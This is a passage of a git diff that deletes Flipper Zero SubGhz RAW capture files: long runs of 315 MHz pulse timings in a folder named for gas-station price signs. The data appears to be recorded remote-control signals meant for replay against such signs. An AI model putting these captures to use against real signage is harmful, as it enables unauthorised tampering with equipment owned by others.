-360 125 -358 329 -122 121 -354 139 -334 127 -372 105 -360 347 -108 361 -106 341 -130 357 -94 121 -3714 133 -350 137 -360 105 -336 375 -106 339 -130 353 -94 369 -128 339 -128 93 -368 367 -106 337 -130 351 -94 121 -374 101 -368 125 -354 351 -102 143 -362 105 -336 129 -358 125 -340 349 -134 331 -122 339 -126 369 -98 123 -3730 99 -358 137 -352 107 -366 327 -140 335 -128 349 -94 369 -98 369 -128 93 -368 365 -108 337 -128 353 -92 123 -374 101 -368 125 -354 349 -104 141 -364 103 -338 129 -360 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3706 131 -360 101 -384 105 -336 355 -140 335 -128 349 -94 391 -104 357 -108 105 -360 359 -106 349 -140 -RAW_Data: 331 -124 109 -342 127 -362 123 -360 327 -122 121 -354 139 -334 127 -372 105 -360 347 -108 361 -106 341 -130 357 -94 121 -3744 97 -384 103 -360 103 -370 345 -106 339 -132 355 -94 389 -106 357 -108 105 -360 357 -106 351 -140 333 -124 107 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -356 125 -338 349 -132 331 -124 339 -128 369 -96 125 -3706 131 -358 103 -382 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 351 -138 333 -122 109 -374 97 -360 125 -358 327 -124 143 -340 101 -366 123 -372 97 -372 345 -96 361 -122 337 -128 337 -130 123 -3730 99 -360 101 -384 105 -336 357 -140 335 -128 349 -94 369 -96 369 -130 93 -368 365 -106 337 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3732 99 -372 95 -372 97 -372 345 -126 337 -128 337 -130 337 -126 339 -124 123 -346 349 -132 331 -124 339 -128 121 -372 101 -368 91 -382 351 -104 141 -364 105 -336 127 -360 123 -340 349 -132 333 -122 339 -126 371 -96 123 -3734 97 -372 97 -372 95 -372 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -132 331 -124 339 -126 123 -372 101 -368 91 -382 351 -104 141 -362 105 -338 127 -360 123 -340 349 -132 331 -124 339 -126 337 -130 123 -3730 99 -360 135 -354 105 -368 325 -140 337 -126 349 -94 369 -130 337 -128 95 -368 363 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 97 -360 135 -354 107 -366 327 -140 337 -126 351 -94 369 -96 369 -130 93 -368 365 -106 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -338 351 -132 333 -122 339 -126 371 -96 123 -3708 131 -358 101 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 123 -360 327 -124 121 -354 139 -336 125 -356 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3732 97 -360 135 -354 105 -368 325 -142 335 -128 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 351 -94 121 -374 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 107 -374 97 -362 123 -360 327 -122 143 -342 -RAW_Data: 99 -368 123 -372 95 -372 347 -96 359 -124 337 -128 337 -130 123 -3698 133 -358 103 -384 105 -336 355 -140 335 -126 351 -94 369 -96 371 -96 125 -368 365 -106 337 -130 351 -94 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -360 135 -354 105 -368 325 -142 335 -128 349 -94 369 -96 371 -128 93 -368 365 -106 339 -128 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3730 99 -392 103 -354 105 -368 327 -140 335 -128 349 -94 369 -130 337 -128 93 -370 365 -108 337 -128 353 -92 121 -374 101 -370 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3706 131 -360 101 -386 105 -336 355 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -106 349 -140 331 -124 107 -374 97 -362 123 -360 327 -122 121 -356 139 -336 125 -356 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3706 133 -358 103 -382 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 107 -374 97 -360 125 -360 327 -122 121 -354 139 -334 127 -358 125 -338 349 -134 331 -124 337 -126 371 -96 123 -3736 99 -358 103 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 95 -362 123 -360 327 -124 143 -342 101 -366 123 -356 137 -360 351 -106 359 -108 335 -124 359 -106 139 -3702 103 -370 97 -364 123 -360 327 -122 341 -126 369 -98 369 -96 369 -94 125 -356 345 -134 331 -124 341 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 129 -360 93 -370 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -128 337 -128 337 -126 123 -350 349 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -122 341 -126 369 -98 123 -3732 99 -358 137 -354 105 -368 325 -140 337 -126 351 -92 371 -96 369 -130 93 -368 363 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3732 97 -360 135 -352 105 -368 327 -140 337 -126 349 -94 391 -106 357 -108 105 -360 357 -106 351 -138 333 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -356 125 -338 349 -134 333 -122 339 -126 -RAW_Data: 369 -98 123 -3736 97 -360 137 -352 105 -366 325 -140 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 333 -124 107 -374 97 -362 123 -360 327 -124 143 -342 101 -366 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3696 105 -370 99 -364 123 -372 317 -134 333 -124 339 -128 369 -96 371 -96 125 -372 327 -140 337 -128 351 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -358 93 -372 349 -132 331 -124 337 -128 369 -96 125 -3706 131 -358 103 -384 105 -336 357 -140 335 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 107 -374 97 -362 123 -360 327 -124 121 -354 139 -336 127 -356 123 -340 349 -132 333 -122 339 -126 369 -98 123 -3736 99 -358 135 -352 105 -368 325 -140 335 -128 349 -94 391 -104 359 -108 105 -360 357 -106 349 -140 333 -124 107 -376 97 -360 123 -360 327 -124 121 -354 139 -336 127 -356 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3732 97 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 123 -350 349 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3704 133 -358 103 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -92 139 -374 97 -360 123 -360 327 -124 141 -344 135 -332 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3704 103 -370 97 -364 123 -360 327 -122 357 -140 361 -106 337 -94 377 -96 121 -372 353 -104 349 -140 333 -122 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -338 349 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -352 105 -366 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 143 -344 99 -368 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 103 -3738 105 -370 97 -362 123 -360 329 -122 355 -140 361 -108 335 -94 379 -94 121 -372 353 -104 349 -140 333 -124 107 -376 97 -360 125 -338 349 -134 103 -396 105 -336 127 -356 123 -340 349 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -384 351 -102 143 -362 105 -336 129 -358 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3728 99 -372 97 -372 127 -340 347 -124 -RAW_Data: 337 -128 337 -130 337 -128 337 -124 125 -352 347 -132 333 -124 339 -126 121 -372 103 -366 93 -384 349 -104 141 -364 103 -338 129 -360 93 -370 349 -132 331 -124 339 -126 371 -96 123 -3708 131 -358 101 -386 105 -336 355 -140 335 -126 351 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 125 -358 329 -122 121 -356 137 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3732 99 -372 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -124 125 -350 347 -132 333 -124 339 -126 123 -372 101 -366 93 -384 351 -102 141 -364 105 -336 127 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3732 99 -358 137 -354 105 -368 325 -140 337 -126 351 -92 371 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -372 103 -368 125 -352 351 -104 141 -362 105 -338 129 -360 123 -340 349 -132 333 -122 341 -126 369 -98 123 -3730 99 -392 103 -354 105 -368 327 -140 337 -126 351 -92 371 -128 337 -130 93 -368 363 -108 337 -130 353 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3740 99 -358 103 -384 105 -336 355 -142 335 -126 349 -94 391 -104 359 -106 105 -362 357 -106 351 -138 333 -122 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 137 -360 353 -104 361 -106 335 -124 359 -106 137 -3702 105 -370 97 -362 125 -360 327 -122 373 -94 369 -98 369 -96 369 -96 125 -370 327 -128 357 -124 337 -128 91 -368 133 -366 91 -380 351 -102 141 -364 105 -334 129 -358 123 -340 349 -132 331 -124 339 -128 369 -96 125 -3734 99 -360 135 -352 105 -368 325 -140 337 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 125 -358 327 -122 143 -342 135 -334 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3712 103 -342 137 -336 123 -374 317 -134 335 -124 353 -140 359 -108 337 -128 95 -368 355 -104 351 -140 333 -124 109 -374 97 -362 125 -360 327 -122 143 -344 99 -366 123 -358 137 -358 353 -106 359 -108 335 -124 359 -104 139 -3698 105 -370 99 -362 125 -356 329 -122 373 -96 369 -96 371 -96 369 -126 93 -368 359 -98 359 -124 337 -128 121 -338 133 -366 91 -380 351 -104 141 -362 105 -336 129 -358 123 -340 351 -132 331 -124 337 -126 371 -96 125 -3730 99 -360 135 -356 105 -368 325 -140 337 -126 349 -94 369 -130 337 -128 95 -368 363 -108 -RAW_Data: 337 -130 353 -94 121 -374 101 -368 125 -354 349 -104 141 -364 105 -336 129 -360 125 -340 347 -134 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -354 107 -368 325 -142 335 -128 349 -94 369 -98 369 -128 95 -368 365 -108 337 -128 351 -94 121 -374 101 -368 125 -354 351 -138 105 -364 105 -368 97 -362 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3736 99 -360 101 -386 105 -336 355 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 331 -124 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 135 -360 353 -106 359 -108 335 -124 359 -104 139 -3704 105 -370 97 -362 123 -360 327 -122 355 -138 361 -108 337 -126 349 -94 121 -372 353 -104 349 -140 333 -124 107 -376 97 -362 125 -338 351 -132 105 -396 105 -334 127 -356 93 -372 349 -132 331 -122 339 -126 369 -98 123 -3730 99 -358 137 -354 105 -368 327 -140 337 -128 349 -94 369 -96 371 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -102 143 -362 105 -336 129 -360 125 -340 349 -134 331 -124 337 -126 371 -96 125 -3706 131 -358 101 -384 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -344 133 -334 123 -358 135 -360 353 -106 359 -108 335 -124 359 -104 139 -3708 103 -378 103 -336 123 -388 325 -124 349 -94 369 -128 337 -130 337 -126 93 -388 347 -102 335 -124 373 -96 121 -372 101 -368 125 -352 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3740 99 -358 103 -384 105 -336 355 -142 333 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -122 143 -342 135 -332 125 -356 137 -360 353 -104 361 -106 335 -124 361 -104 139 -3708 103 -376 105 -336 123 -386 325 -124 349 -94 369 -128 337 -130 337 -126 93 -386 349 -104 335 -122 375 -94 121 -374 101 -368 125 -350 351 -104 141 -362 105 -370 97 -360 125 -340 349 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 103 -386 105 -368 325 -140 335 -126 351 -94 391 -104 357 -106 107 -360 357 -106 351 -140 333 -124 109 -374 95 -362 123 -360 327 -124 143 -342 101 -366 123 -358 135 -360 353 -106 359 -106 335 -124 361 -104 139 -3702 91 -382 103 -368 91 -384 349 -104 337 -122 387 -104 361 -108 337 -128 97 -382 343 -96 369 -128 337 -126 93 -358 127 -370 97 -372 347 -124 -RAW_Data: 95 -380 91 -384 101 -370 91 -384 351 -104 367 -92 375 -96 369 -96 125 -3734 99 -394 101 -354 107 -368 327 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 349 -140 333 -124 109 -374 95 -362 123 -360 327 -124 121 -354 139 -336 125 -356 125 -340 349 -134 331 -124 339 -126 371 -96 123 -3730 97 -374 95 -372 129 -340 347 -124 337 -126 339 -128 337 -128 337 -126 123 -354 347 -132 333 -124 339 -126 121 -372 101 -368 93 -382 351 -104 141 -364 103 -338 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -356 105 -368 327 -140 335 -128 349 -94 369 -130 337 -128 95 -368 365 -108 335 -130 353 -92 121 -374 103 -368 125 -354 351 -102 143 -362 105 -336 129 -360 125 -338 351 -132 333 -122 339 -126 369 -98 123 -3740 97 -360 101 -386 105 -336 357 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -124 143 -342 99 -366 123 -372 97 -372 345 -96 361 -124 337 -126 339 -128 125 -3704 133 -358 103 -382 103 -336 357 -140 333 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 109 -374 95 -362 123 -360 327 -122 143 -342 135 -334 123 -356 137 -360 353 -106 359 -106 335 -124 361 -104 139 -3704 105 -370 97 -362 125 -360 327 -122 357 -140 359 -108 335 -96 377 -96 121 -372 351 -106 349 -140 331 -124 109 -374 97 -362 123 -340 349 -132 105 -396 105 -334 127 -356 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3706 133 -358 103 -384 105 -336 355 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -124 107 -374 97 -362 125 -358 327 -122 123 -354 139 -336 127 -356 125 -340 349 -132 331 -122 339 -126 371 -96 123 -3732 99 -394 101 -354 107 -366 327 -140 337 -126 351 -94 369 -128 337 -130 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 123 -354 351 -138 107 -362 105 -370 97 -360 123 -340 351 -132 333 -122 339 -126 369 -98 123 -3732 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -126 337 -126 123 -352 347 -132 333 -122 341 -126 123 -372 101 -366 93 -384 351 -102 141 -364 105 -336 129 -358 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 101 -386 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -104 353 -140 331 -124 109 -374 97 -360 125 -360 327 -122 145 -342 99 -366 123 -372 95 -372 347 -96 361 -122 -RAW_Data: 337 -128 337 -130 123 -3732 97 -372 97 -372 97 -370 347 -124 337 -128 339 -128 337 -126 337 -126 123 -348 349 -134 331 -124 337 -128 121 -372 101 -368 91 -384 351 -102 143 -362 105 -336 129 -360 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -372 97 -372 95 -372 347 -124 337 -128 337 -128 339 -128 337 -124 125 -352 347 -132 333 -122 341 -126 121 -372 101 -368 93 -382 351 -104 141 -362 105 -338 129 -358 125 -340 349 -132 331 -124 339 -128 369 -96 125 -3730 99 -372 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -126 123 -352 347 -134 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3740 97 -360 101 -384 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -342 135 -332 123 -356 137 -360 351 -106 359 -108 335 -124 359 -106 139 -3716 103 -376 103 -336 123 -388 325 -124 345 -94 369 -130 337 -128 337 -126 95 -386 349 -102 335 -124 373 -96 121 -372 101 -368 125 -350 351 -140 105 -362 105 -370 97 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3738 99 -358 101 -386 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 349 -140 333 -124 107 -376 97 -360 125 -358 329 -122 121 -356 137 -336 127 -372 103 -362 347 -106 363 -106 339 -132 357 -94 121 -3744 99 -380 103 -360 105 -370 345 -108 339 -130 359 -94 389 -104 359 -106 107 -396 321 -106 351 -140 333 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -358 125 -358 327 -122 339 -126 371 -96 369 -96 127 -3732 99 -372 95 -370 127 -346 343 -128 337 -128 339 -126 337 -124 361 -140 105 -364 351 -106 361 -106 335 -124 145 -340 99 -362 123 -360 327 -122 123 -356 139 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -386 105 -366 327 -140 335 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -362 123 -360 327 -124 143 -342 101 -366 123 -358 135 -360 353 -104 361 -106 337 -124 359 -104 139 -3710 103 -376 103 -336 123 -386 325 -124 351 -94 369 -128 337 -128 337 -128 93 -386 349 -102 337 -122 375 -94 121 -372 103 -368 125 -352 349 -104 141 -364 103 -338 129 -360 125 -338 351 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 137 -352 105 -368 -RAW_Data: 325 -142 335 -126 351 -94 391 -104 357 -108 105 -362 355 -106 353 -140 331 -124 109 -374 97 -360 123 -360 329 -122 121 -354 139 -336 127 -356 125 -360 327 -122 339 -128 337 -128 337 -130 125 -3732 99 -372 95 -372 93 -380 343 -128 337 -128 339 -126 339 -124 357 -104 141 -362 353 -106 359 -108 335 -124 109 -374 99 -362 123 -360 327 -124 121 -356 139 -334 127 -358 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3730 97 -372 97 -372 129 -338 349 -124 337 -128 337 -128 339 -128 337 -124 125 -354 347 -132 333 -122 339 -128 121 -372 101 -368 91 -384 351 -104 141 -362 105 -336 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3730 99 -394 101 -356 105 -368 329 -140 335 -126 351 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 125 -352 351 -140 105 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 125 -3736 99 -358 137 -352 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 107 -360 359 -106 349 -140 333 -122 109 -374 97 -360 125 -360 327 -122 121 -356 139 -334 127 -358 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -392 103 -354 107 -368 327 -140 335 -128 349 -94 369 -130 337 -128 95 -366 367 -106 337 -130 353 -94 121 -374 101 -368 125 -354 351 -104 141 -362 105 -370 97 -360 125 -338 349 -132 333 -122 341 -126 369 -98 123 -3732 99 -372 97 -372 95 -372 347 -124 337 -128 337 -130 337 -128 335 -126 125 -350 347 -132 333 -124 339 -128 121 -372 101 -368 93 -382 351 -104 141 -364 103 -338 129 -358 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3742 97 -360 101 -386 103 -338 355 -140 337 -126 349 -94 391 -104 359 -108 105 -360 357 -106 351 -140 331 -124 109 -374 97 -360 123 -360 329 -122 121 -354 139 -336 127 -356 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 325 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -124 107 -374 97 -362 125 -358 327 -122 143 -344 99 -368 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3704 105 -370 97 -362 125 -358 329 -122 355 -140 359 -108 335 -128 347 -94 121 -374 351 -106 349 -140 333 -124 109 -374 97 -362 123 -338 349 -134 139 -362 103 -336 127 -358 123 -340 349 -132 331 -124 339 -126 371 -96 123 -3738 99 -358 137 -352 105 -368 325 -140 335 -128 349 -94 391 -104 357 -108 105 -360 -RAW_Data: 357 -106 351 -140 333 -124 109 -374 97 -360 125 -358 329 -122 121 -356 137 -336 127 -372 103 -362 347 -106 363 -106 341 -130 359 -92 121 -3746 97 -382 103 -360 103 -372 345 -106 339 -132 357 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 127 -356 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3740 99 -358 103 -384 105 -336 357 -140 335 -126 351 -94 391 -104 359 -106 105 -362 355 -106 353 -140 331 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -332 123 -358 137 -358 353 -106 359 -108 335 -124 361 -104 139 -3704 103 -378 103 -336 125 -382 327 -124 353 -124 337 -130 337 -128 337 -128 93 -384 349 -104 337 -124 375 -94 121 -372 103 -368 125 -350 351 -104 141 -362 105 -338 129 -360 125 -340 349 -132 331 -124 339 -126 371 -96 123 -3734 99 -358 137 -354 107 -366 327 -140 335 -128 349 -94 391 -104 359 -106 107 -360 357 -106 351 -140 331 -124 109 -374 97 -362 123 -360 327 -122 121 -356 139 -334 127 -358 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3736 99 -358 137 -352 105 -368 327 -140 337 -126 349 -94 391 -106 357 -108 105 -360 359 -104 351 -140 331 -124 109 -374 97 -360 125 -360 327 -122 143 -344 99 -366 123 -358 137 -360 351 -106 361 -106 335 -124 361 -104 139 -3708 101 -378 103 -336 123 -386 325 -126 349 -126 337 -128 339 -128 337 -126 93 -386 349 -102 337 -124 375 -94 121 -374 101 -368 125 -352 351 -102 141 -364 105 -336 129 -360 125 -340 349 -134 331 -124 337 -126 371 -96 123 -3736 97 -358 137 -354 105 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -374 103 -360 349 -106 361 -108 339 -132 357 -94 121 -3744 99 -382 101 -360 105 -370 347 -106 339 -132 359 -92 391 -104 357 -108 105 -398 321 -104 353 -142 331 -124 109 -374 97 -362 123 -360 327 -122 123 -354 139 -334 127 -358 125 -338 351 -132 333 -122 339 -126 369 -98 123 -3734 97 -372 97 -372 95 -372 347 -126 337 -126 339 -128 337 -128 337 -124 125 -352 347 -132 333 -122 341 -126 123 -370 103 -366 93 -384 351 -104 141 -362 105 -336 129 -360 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3734 99 -358 135 -354 107 -366 327 -142 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -360 125 -358 -RAW_Data: 327 -124 121 -354 139 -336 125 -358 125 -340 349 -134 331 -124 337 -126 371 -96 123 -3730 99 -394 101 -356 105 -370 327 -140 335 -128 351 -94 369 -130 337 -128 93 -368 367 -108 337 -128 353 -92 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 97 -360 125 -340 349 -134 331 -124 337 -126 371 -96 125 -3734 99 -358 137 -352 107 -366 327 -140 337 -126 351 -94 391 -104 357 -108 105 -360 357 -106 351 -142 331 -124 109 -374 95 -362 123 -360 327 -124 141 -344 135 -332 123 -358 135 -360 353 -104 361 -106 337 -124 359 -104 139 -3706 105 -370 97 -362 123 -360 327 -124 353 -140 361 -106 337 -128 347 -94 121 -374 351 -106 349 -140 333 -124 109 -374 97 -362 123 -340 349 -132 139 -362 105 -336 127 -356 123 -340 351 -132 331 -124 337 -128 369 -96 125 -3730 99 -392 103 -356 105 -368 327 -142 335 -128 349 -94 369 -128 339 -128 93 -368 363 -108 337 -130 353 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 97 -360 125 -338 351 -132 333 -122 339 -128 369 -98 123 -3738 99 -358 103 -384 105 -368 325 -142 335 -128 349 -94 391 -104 357 -108 105 -360 357 -106 351 -140 333 -124 107 -376 97 -360 123 -360 327 -122 143 -342 135 -334 123 -358 135 -360 353 -106 359 -106 337 -124 359 -106 139 -3702 105 -372 97 -362 123 -360 327 -124 353 -140 359 -108 337 -128 347 -94 121 -374 351 -106 349 -142 331 -124 109 -374 97 -362 125 -370 317 -134 103 -398 105 -334 127 -356 93 -372 349 -132 331 -124 337 -128 369 -96 125 -3732 97 -374 95 -372 97 -372 347 -124 337 -128 337 -128 339 -126 337 -126 125 -352 347 -132 333 -122 341 -126 121 -372 103 -366 93 -384 351 -102 143 -362 105 -336 129 -360 125 -338 349 -134 331 -124 339 -126 369 -98 123 -3740 97 -360 101 -386 105 -338 355 -140 337 -126 351 -94 391 -104 357 -108 105 -360 359 -106 349 -140 333 -122 109 -374 97 -362 125 -360 327 -122 121 -356 137 -336 127 -356 123 -340 351 -132 331 -124 339 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 325 -142 333 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 333 -122 109 -374 97 -362 123 -360 327 -124 121 -354 139 -336 125 -358 125 -358 327 -124 369 -94 371 -96 369 -98 125 -3738 99 -358 139 -336 135 -332 351 -140 333 -126 349 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 103 -368 125 -352 351 -140 105 -362 105 -370 97 -360 125 -338 349 -134 -RAW_Data: 333 -122 339 -128 369 -96 125 -3736 99 -360 135 -352 105 -368 325 -142 335 -128 349 -94 391 -104 359 -106 107 -360 359 -104 351 -140 331 -124 109 -374 97 -362 123 -360 327 -122 143 -344 99 -368 123 -358 135 -360 353 -106 359 -108 335 -122 361 -104 139 -3700 93 -384 101 -368 93 -396 329 -134 329 -124 359 -106 357 -108 337 -126 141 -342 351 -140 339 -102 359 -94 121 -374 137 -334 125 -354 351 -138 107 -362 105 -370 97 -360 125 -360 325 -124 337 -128 369 -96 371 -96 125 -3734 99 -372 97 -370 95 -380 343 -126 337 -130 337 -126 339 -124 357 -104 143 -362 353 -106 359 -106 337 -124 143 -342 97 -362 123 -360 327 -124 121 -358 139 -334 127 -358 123 -340 349 -132 333 -122 339 -128 369 -96 125 -3730 97 -372 97 -372 129 -338 349 -124 337 -126 337 -130 337 -128 337 -126 125 -352 347 -132 333 -124 339 -128 121 -372 101 -368 123 -352 351 -102 143 -362 105 -370 97 -360 123 -340 351 -132 333 -122 339 -126 369 -98 123 -3732 97 -392 103 -356 105 -370 325 -142 335 -128 351 -94 369 -96 371 -128 93 -368 365 -106 339 -128 353 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 97 -360 125 -338 351 -132 333 -122 339 -128 369 -96 125 -3732 99 -392 103 -354 107 -368 327 -140 335 -128 349 -94 369 -98 369 -96 127 -368 363 -108 337 -130 353 -92 121 -374 103 -368 125 -354 349 -104 141 -362 105 -370 97 -360 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3730 97 -394 101 -356 107 -368 327 -140 335 -128 351 -94 369 -128 339 -128 93 -368 365 -108 337 -128 353 -94 121 -374 101 -370 125 -354 349 -104 141 -364 103 -338 129 -360 125 -340 349 -134 331 -124 337 -128 369 -96 125 -3738 99 -358 103 -384 105 -368 327 -140 335 -128 349 -94 391 -104 359 -106 105 -362 357 -106 351 -140 331 -124 109 -374 97 -360 125 -358 327 -124 141 -344 135 -332 123 -358 135 -360 353 -106 359 -108 335 -124 359 -106 diff --git a/assets/resources/subghz/Gas_Sign/S_gas.sub b/assets/resources/subghz/Gas_Sign/S_gas.sub deleted file mode 100644 index 3a7069207..000000000 --- a/assets/resources/subghz/Gas_Sign/S_gas.sub +++ /dev/null @@ -1,52 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 315000000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 355 -408 363 -630862 163 -356 123 -372 95 -372 317 -126 359 -124 337 -130 337 -128 337 -128 93 -388 317 -134 335 -124 343 -126 121 -372 101 -368 93 -382 319 -134 105 -398 103 -334 373 -106 337 -130 97 -384 93 -380 351 -104 347 -138 103 -3696 131 -358 101 -358 107 -368 333 -140 337 -126 321 -126 369 -128 337 -130 93 -370 329 -140 337 -128 319 -126 121 -372 101 -368 93 -384 351 -104 139 -362 105 -338 373 -106 337 -130 97 -384 93 -380 351 -104 347 -138 105 -3694 131 -356 101 -394 105 -336 367 -106 337 -128 353 -94 369 -128 337 -130 93 -368 363 -108 337 -128 353 -92 121 -374 101 -370 125 -350 351 -102 143 -362 105 -336 373 -108 337 -130 97 -384 93 -378 353 -104 349 -138 103 -3698 131 -358 103 -358 